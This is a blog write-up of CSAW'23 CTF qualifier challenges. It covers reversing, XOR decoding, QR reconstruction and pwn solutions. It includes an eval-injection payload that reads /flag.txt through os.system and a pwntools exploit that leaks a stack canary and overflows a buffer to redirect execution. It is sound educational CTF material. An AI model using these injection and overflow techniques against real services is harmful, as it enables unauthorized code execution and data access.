Home CSAW'23
Post
Cancel

CSAW'23

CSAW’23 qualifiers took place from September 15th to September 17th this year. The challenges from the qualifier can be found here.

Intro

my_first_pwnie

Challenge

This challenge was ment to be a intro to the pwn category, with the goal of achieving RCE.

1
2
3
4
5
6
7
8
9
try:
  response = eval(input("What's the password? "))
  print(f"You entered `{response}`")
  if response == "password":
    print("Yay! Correct! Congrats!")
    quit()
except:
  pass
print("Nay, that's not it.")

The python code running on the server passes our input directly into eval(), which lets us get RCE by importing the os module and running calling the system function to cat the flag for us.

1
2
3
4
5
$ nc intro.csaw.io 31137
What's the password? __import__('os').system('cat /flag.txt')
csawctf{neigh______}
You entered `0`
Nay, that's not it.

Baby’s First

Challenge

This challenge was ment as an intro to the rev category, with the goal of learning new players what this category is, and to get to know some python code.

1
2
3
4
if input("What's the password? ") == "csawctf{w3_411_star7_5om3wher3}":
  print("Correct! Congrats! It gets much harder from here.")
else:
  print("Trying reading the code...")

We can see the flag located in the source code.

target_practice

Challenge

We get a binary for this challenge, which when opened in IDA shows that we can pass an address to the program, and the program will then call what is at that address.

Reversed

There is a cat_flag function at address 0x400717, which we will make the program execute.

1
2
3
$ nc intro.csaw.io 31138
Aim carefully.... 400717
csawctf{y0ure_a_m4s7er4im3r}

Baby’s Third

Challenge

Reversing the binary reveals the flag

Reversed

Alternatively we can run strings on the binary to get the flag

1
2
$ strings babysthird | grep csawctf
csawctf{st1ng_th30ry_a1nt_so_h4rd}

puffin

Challenge

Another binary means more reversing.

Reversed

The program reads 48 bytes into a 44 byte buffer, giving us a 4 byte overflow. We also see that the variable v5 is set to 0, and if it is not 0 we will get the flag. By overflowing the input buffer, which is located on the stack together with v5, we will overflow into v5, letting us change its value to be something else than 0.

We can send 45 characters as input to change the value of v5 (anything 45 or higher would work).

1
2
3
$ nc intro.csaw.io 31140
The penguins are watching:  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
csawctf{m4ybe_i_sh0u1dve_co113c73d_mor3_rock5_7o_impr355_her....}

whataxor

Challenge

Reversing the binary shows that our supplied input is passed to a function xor_transform before inside that function being xored with the key 0xffffffaa.

Rev1 Start of main function

Rev2 Xor transform

The result from the xor operations is then compared against a buffer with some pre-defined values. This is sort of a password checker, so to find the password we can xor the encrypted password already located inside the binary with the xor key to get the plaintext. The key is -86 in decimal, and when xored with the encrypted password it reveals the flag.

1
2
3
s2 =[-55,-39,-53,-35,-55,-34,-52,-47,-102,-60,-49,-11,-39,-62,-49,-49,-6,-11,-101,-35,-59,-11,-39,-62,-49,-3,-38,-11,-104,-62,-40,-49,-49,-11,-97,-62,-49,-49,-63,-39,-11,-11,-11,-11,-11,-48,-11,-11,-11,-48,-48,-48,-11,-11,-11,-11,-11,-48,-48,-48,-48,-48,-48,-11,-11,-11,-11,-46,-59,-40,-41]
for x in s2:
    print(chr(x ^ -86), end='')
1
2
$ python3 decrypt.py
csawctf{0ne_sheeP_1wo_sheWp_2hree_5heeks_____z___zzz_____zzzzzz____xor}

Pwn

unlimited_subway

Challenge

The 32-bit binary have canaries enabled, together with NX, but no PIE.

1
2
3
4
5
6
$ pwn checksec ./unlimited_subway
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

The program is some account-menu system, and when exiting we are asked to give a name and its length

1
2
3
4
5
6
7
8
9
10
11
12
$ ./unlimited_subway
=====================================
=                                   =
=       Subway Account System       =
=                                   =
=====================================
[F]ill account info
[V]iew account info
[E]xit
> E
Name Size : 20
Name : a

When reversing the binary we see the following code in main. There is also a print_flag function in the binary which isn’t being called by any other function.

Reversed

The view_account function consists of only a single printf call

1
2
3
void __cdecl view_account(unsigned __int8 *account, int idx) {
  printf("Index %d : %02x\n", idx, account[idx]);
}

We can see that the option F reads in 64 bytes into a 64-byte buffer, which doesn’t really help us much in this case. However, option V could be helpful, as the index we give it is passed to view_account, which printf’s our given index from the account array. There is no checking on our input, so we can pass a very large integer, or a negative integer to read contents from the stack.

If we look at what is happening if we choose the E option, we can see that the name-length we specify is the amount of bytes the next read call will read in.

1
2
3
4
  printf("Name Size : ");
  __isoc99_scanf("%d", &name_len);
  printf("Name : ");
  read(0, name, name_len);

However, due to the name buffer only being 64-bytes in size, if we pass a longer input we have a buffer overflow.

We can combine the two vulnerabilities we have by passing negative integers to the view_account function to read the canary located on the stack, and then use the buffer overflow from the Exit option of the menu to call the print_flag function.

There are multiple viable ways to find the canary, I chose the fuzzing method which uses a python-script to print 4-byte aligned addresses on the negative indexes. When running the fuzzer, and attaching gdb to find the canary value, we got the negative offsets which gives us the value of the canary.

This is the fuzzing-program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Capture single-byte leaks
leaks = []
for i in range(-1, -282, -1):
    print(f"--------{i}--------")
    io.recvuntil(b"> ")
    io.sendline(b"V")
    io.recvuntil(b": ")
    io.sendline(f"{i}".encode())
    io.recvuntil(b": ")
    leak = io.recvline().strip()
    leaks.append(leak)

# Join the bytes to 4-byte addresses
leaks = [leaks[i:i+4] for i in range(0, len(leaks), 4)]
for idx, leak in enumerate(leaks):
    idx = (idx*4)+1
    print(f"-{idx} -> ".encode() + b"".join(leak))
io.interactive()

and this is after gdb has been attached

Finding Canary wih GDB

We can see that offset -89, -90, -91 and -92 is the 4-byte canary value (and some other offsets as well).

Now that we have the canary we can perform the buffer-overflow to call the print_flag function. Finding the offset to where the canary is located on the stack can be done multiple ways. Either by trying different-length input until we see the program crash with stack-smashing detected, or by setting a breakpoint with gdb at main+516.

At main+516 is the instruction 0x0804951b <+516>: sub edx,DWORD PTR gs:0x14 in this program, which subtracts what is in the edx register with the canary value. If the reults is 0 they are equal, if not the program will detect the stack smashing. However, this also means that when we hit this breakpoint the register edx will contain what is supposed to be the canary value from the stack, but since we have overflowed the input-buffer we have overwritten this value. Therefore, edx contains our cyclic pattern value qaaa instead of the canary value, so we know from the pattern that the offset to the canary is 64.

Knowing the offset to the canary we also know that the return address will be located 8 bytes after (with the canary itself being the first 4 bytes, and then 4 bytes which is for the ebp register), at offset 72. We can then construct the buffer-overflow payload and get the flag.

Using the pwntools template (generated with the pwn template command), our exploit script becomes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
io = start()

def get_canary():
    """
    Get the value of the canary by
    reading different negative offsets
    """
    canary = b""
    for i in range(-89, -93, -1):
        io.recvuntil(b"> ")
        io.sendline(b"V")
        io.recvuntil(b": ")
        io.sendline(f"{i}".encode())
        io.recvuntil(b": ")
        canary += io.recvline().strip()
    return int(canary.decode(),16)

canary_offset = 64
canary = get_canary()
log.success(f"Canary: {hex(canary)}")

io.recvuntil(b"> ")
io.sendline(b"E")
io.recvuntil(b": ")
io.sendline(b"100")
io.recvuntil(b": ")
payload = b"A"*canary_offset + pack(canary) + b"A"*4 + pack(exe.sym.print_flag)
io.sendline(payload)
io.interactive()

Running the script gives us the flag.

1
2
3
4
5
$ ./exploit.py
[+] Opening connection to pwn.csaw.io on port 7900: Done
[+] Canary: 0xbb0f2b00
[*] Switching to interactive mode
csawctf{my_n4m3_15_079_4nd_1m_601n6_70_h0p_7h3_7urn571l3}

Rev

Rebug 1

Challenge

When running the binary we get the following.

1
2
3
$ ./test.out
Enter the String: asdasd
that isn't correct, im sorry!

We reverse the given binary to find the following main function.

Reversed

What this program does is essentially just checking if the length of our input is 12, and if it is 12 it creates a md5 hash of the string 12, which is the flag.

1
2
3
4
$ ./test.out
Enter the String: aaaaaaaaaaaa
that's correct!
csaw{c20ad4d76fe97759aa27a0c99bff6710}

Forensics

1black0white

Challenge

We are given a text file with some numbers in it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
533258111
274428993
391005533
391777629
390435677
273999169
534074751
99072
528317354
446173689
485174588
490627992
105525542
421383123
132446300
431853817
534345998
496243321
365115424
302404521
289808374
1437979
534308692
272742168
391735804
391385911
391848254
273838450

From the challenge text we know that this should represent a qr code, and from the challenge name we can assume that a 1 equals a black pixel, and a 0 equals a white pixel.

To convert these numbers to 0’s and 1’s we can convert them to binary form, and then pad all the numbers to be of equal length (the length of everyone is determined by the longest binary number). Having the binary form of the numbers we can go pixel by pixel through the image and color the pixels black if its a 1, and white if its a 0. Each number represents one row of pixels in the image.

The following script creates the qr-code for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
with open("qr_code.txt", "r") as f:
    data = f.readlines()

# Remove newlines and convert to int
for idx, x in enumerate(data):
    data[idx] = int(x.strip())

# Find the size of the image
max_len = 0
for x in data:
    max_len = max(max_len, len(bin(x)[2:]))

# Pad the values
for idx, x in enumerate(data):
    data[idx] = bin(x)[2:].zfill(max_len)

# Create a white square image
from PIL import Image
img = Image.new('RGB', (max_len, max_len), color = 'white')
pixels = img.load()
# Color the pixels black where the data is 1
for i in range(29):
    for j in range(29):
        if data[i][j] == '1':
            pixels[j, i] = (0, 0, 0)
img.save('qr_code.png')

This creates a qr-code for us

QR code

Scanning the code reveals the flag.

1
csawctf{1_d1dnt_kn0w_th1s_w0uld_w0rk}

Misc

AndroidDropper

Challenge

We are given an apk file, which is an android application, together with an endpoint. We are probably supposed to reverse the apk, but since this challenge is in the misc category and not the rev category there must be a reason for that.

Upon visiting the endpoint for the challenge we get a blank page with some base64-encoded text

1
bEVYCkNEWV5LRElPBgpFRApeQk8KWkZLRE9eCm9LWF5CBgpHS0QKQktOCktGXUtTWQpLWVlfR09OCl5CS14KQk8KXUtZCkdFWE8KQ0ReT0ZGQ01PRF4KXkJLRApORUZaQkNEWQpIT0lLX1lPCkJPCkJLTgpLSUJDT1xPTgpZRQpHX0lCCgcKXkJPCl1CT09GBgpkT10Kc0VYQQYKXUtYWQpLRE4KWUUKRUQKBwpdQkNGWV4KS0ZGCl5CTwpORUZaQkNEWQpCS04KT1xPWApORURPCl1LWQpHX0lBCktIRV9eCkNECl5CTwpdS15PWApCS1xDRE0KSwpNRUVOCl5DR08ECmhfXgpJRURcT1hZT0ZTBgpJWUtdSV5MUU5TRB5HG0l1RkUeTk94WXVYdUxfZAtXIF5CTwpORUZaQkNEWQpCS04KS0ZdS1NZCkhPRkNPXE9OCl5CS14KXkJPUwpdT1hPCkxLWApHRVhPCkNEXk9GRkNNT0ReCl5CS0QKR0tECgcKTEVYClpYT0lDWU9GUwpeQk8KWUtHTwpYT0tZRURZBA==

I decoded the base64 with Cyberchef, and while the output from the base64-output did not make any sense, cyberchef recommended applying xor with the key 0x2a.

That gave the output

1
2
For instance, on the planet Earth, man had always assumed that he was more intelligent than dolphins because he had achieved so much - the wheel, New York, wars and so on - whilst all the dolphins had ever done was muck about in the water having a good time. But conversely, csawctf{dyn4m1c_lo4deRs_r_fuN!}
the dolphins had always believed that they were far more intelligent than man - for precisely the same reasons.

Which contained the flag csawctf{dyn4m1c_lo4deRs_r_fuN!}.

This post is licensed under CC BY 4.0 by the author.